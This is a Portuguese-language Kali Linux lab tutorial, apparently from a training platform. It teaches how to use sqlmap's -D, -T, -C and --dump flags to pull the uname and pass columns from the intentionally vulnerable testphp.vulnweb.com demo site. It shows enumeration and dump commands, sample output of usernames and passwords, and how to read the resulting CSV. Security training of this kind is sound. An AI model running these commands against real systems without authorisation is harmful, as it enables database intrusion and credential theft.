Extrair Dados de Colunas de Tabela Específicas com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá a usar o sqlmap, uma ferramenta de teste de penetração de código aberto, para automatizar o processo de detecção e exploração de falhas de injeção de SQL e a assumir o controle de servidores de banco de dados. Especificamente, focaremos em como extrair dados de colunas específicas dentro de uma tabela conhecida. Esta é uma tarefa comum em testes de penetração e auditorias de segurança, permitindo que você extraia apenas as informações relevantes de que precisa, em vez de extrair uma tabela inteira. Você praticará a identificação do banco de dados, tabela e colunas de destino, e então usará o flag -C do sqlmap para especificar as colunas desejadas para extração de dados.

Identificar o Banco de Dados, Tabela e Colunas de Destino

Nesta etapa, você aprenderá a identificar o banco de dados, a tabela e as colunas específicas das quais deseja extrair dados. Antes de poder extrair dados, você precisa saber o que está procurando. Em um cenário do mundo real, essas informações seriam tipicamente coletadas através de etapas de enumeração anteriores usando sqlmap (por exemplo, listando bancos de dados, tabelas e colunas). Para este laboratório, assumiremos que você já identificou o seguinte:

  • URL de Destino: http://testphp.vulnweb.com/listproducts.php?cat=1 (uma URL vulnerável conhecida para fins de demonstração)
  • Banco de Dados: acuart
  • Tabela: users
  • Colunas de interesse: uname (nome de usuário) e pass (senha)

Esses detalhes são cruciais para construir o comando sqlmap preciso para extrair apenas os dados de que você precisa.

Para simular a enumeração inicial, você pode ter executado comandos como estes (não é necessário executá-los neste laboratório, pois estamos fornecendo os detalhes do destino):

Para listar bancos de dados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Para listar tabelas no banco de dados acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Para listar colunas na tabela users dentro do banco de dados acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

Para este laboratório, prosseguiremos diretamente para a extração de colunas específicas, assumindo que a enumeração acima foi concluída.

Usar o Flag -C para Especificar Colunas para Extração

Nesta etapa, você aprenderá a usar o flag -C no sqlmap para especificar quais colunas você deseja extrair. Este flag é essencial para a extração de dados direcionada, permitindo que você recupere apenas as informações relevantes e evite dados desnecessários.

A sintaxe para usar o flag -C é direta: você fornece uma lista de nomes de colunas separados por vírgula imediatamente após o flag.

Para o nosso exemplo, queremos extrair as colunas uname (nome de usuário) e pass (senha) da tabela users dentro do banco de dados acuart.

O comando parcial do sqlmap incorporando o flag -C ficaria assim:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

Vamos detalhar os componentes deste comando:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": Especifica a URL de destino que é vulnerável à injeção de SQL.
  • -D acuart: Especifica o nome do banco de dados (acuart) do qual extrair dados.
  • -T users: Especifica o nome da tabela (users) dentro do banco de dados acuart.
  • -C "uname,pass": Esta é a parte crucial. Ela informa ao sqlmap para considerar apenas as colunas uname e pass para a extração de dados.

Este fragmento de comando ainda não está completo para a extração de dados, mas demonstra como especificar corretamente as colunas desejadas. Na próxima etapa, adicionaremos o flag --dump para iniciar a extração de dados real.

Usar o Flag --dump para Iniciar a Extração de Dados

Nesta etapa, você aprenderá sobre o flag --dump, que é usado para iniciar o processo real de extração de dados com sqlmap. Enquanto o flag -C especifica quais colunas extrair, o flag --dump diz ao sqlmap para executar a operação de extração de dados.

Quando combinado com a URL de destino, banco de dados, tabela e especificações de coluna, o flag --dump instrui o sqlmap a recuperar os dados das colunas especificadas e salvá-los.

O comando completo do sqlmap para extrair as colunas uname e pass da tabela users no banco de dados acuart seria:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Vamos revisar o comando completo:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": A URL de destino.
  • -D acuart: O nome do banco de dados.
  • -T users: O nome da tabela.
  • -C "uname,pass": As colunas específicas a serem extraídas.
  • --dump: A ação a ser realizada – extrair os dados.

Este comando instruirá o sqlmap a encontrar vulnerabilidades de injeção de SQL no URL fornecido e, se for bem-sucedido, extrair os dados das colunas uname e pass da tabela users dentro do banco de dados acuart. Os dados extraídos serão tipicamente salvos em um arquivo CSV dentro do diretório de saída do sqlmap.

Executar o Comando de Extração de Dados

Nesta etapa, você executará o comando completo do sqlmap para extrair dados das colunas especificadas. Isso simulará um cenário de extração de dados do mundo real.

Abra seu terminal no diretório ~/project e execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Saída Esperada:

O sqlmap primeiro realizará vários testes para detectar vulnerabilidades de injeção de SQL. Se for bem-sucedido, ele prosseguirá para extrair os dados. Você verá uma saída semelhante a esta (a saída exata pode variar com base na versão do sqlmap e na resposta do alvo):

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] aviso legal: O uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. Você é responsável por suas próprias ações.
[!] sqlmap é uma ferramenta apenas para testadores de penetração profissionais.

[INFO] iniciando @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (várias mensagens de detecção e exploração) ...

[INFO] buscando colunas 'uname,pass' para a tabela 'users' no banco de dados 'acuart'
[INFO] recuperadas 10 entradas
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] tabela 'acuart.users' extraída para o arquivo CSV '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finalizado @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

Preste muita atenção à linha que indica onde os dados foram extraídos (por exemplo, table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Este caminho é importante para a próxima etapa.

Nota: O sqlmap pode fazer algumas perguntas durante o processo (por exemplo, sobre continuar com outros testes, ou se você deseja armazenar sessões). Para este laboratório, você geralmente pode pressionar Enter para aceitar o padrão ou n se ele perguntar para pular testes extensivos.

Localizar e Revisar os Dados Extraídos no Arquivo de Saída CSV

Nesta etapa final, você localizará o arquivo CSV onde o sqlmap salvou os dados extraídos e revisará seu conteúdo. O sqlmap organiza sua saída em um diretório estruturado, tipicamente em ~/.local/share/sqlmap/output/.

Com base na saída da etapa anterior, navegue até o diretório onde o arquivo users.csv foi salvo. O caminho será semelhante a /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Primeiro, vamos navegar até o diretório de saída do sqlmap. O caminho exato pode variar ligeiramente com base na sua versão do sqlmap e no alvo, mas geralmente segue o padrão: ~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/.

Para o nosso exemplo, o caminho é provavelmente /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Use o comando ls para listar o conteúdo deste diretório:

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

Você deverá ver users.csv (e possivelmente outros arquivos) listados.

Agora, use o comando cat para visualizar o conteúdo do arquivo users.csv:

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Saída Esperada:

A saída mostrará as colunas uname e pass, com cada linha representando uma entrada da tabela users.

uname,pass
test,test
admin,admin
john,doe
...

Isso confirma que o sqlmap extraiu com sucesso apenas as colunas especificadas, demonstrando a eficácia do flag -C para extração de dados direcionada.

Resumo

Neste laboratório, você aprendeu com sucesso como extrair dados de colunas de tabelas específicas usando o sqlmap. Você começou entendendo a importância de identificar o banco de dados, a tabela e as colunas alvo. Em seguida, praticou a construção de comandos sqlmap usando o flag -C para especificar as colunas desejadas e o flag --dump para iniciar a extração de dados. Finalmente, você executou o comando e verificou os dados extraídos no arquivo de saída CSV gerado. Essa abordagem direcionada é crucial para a recuperação eficiente e precisa de dados durante testes de penetração e avaliações de segurança.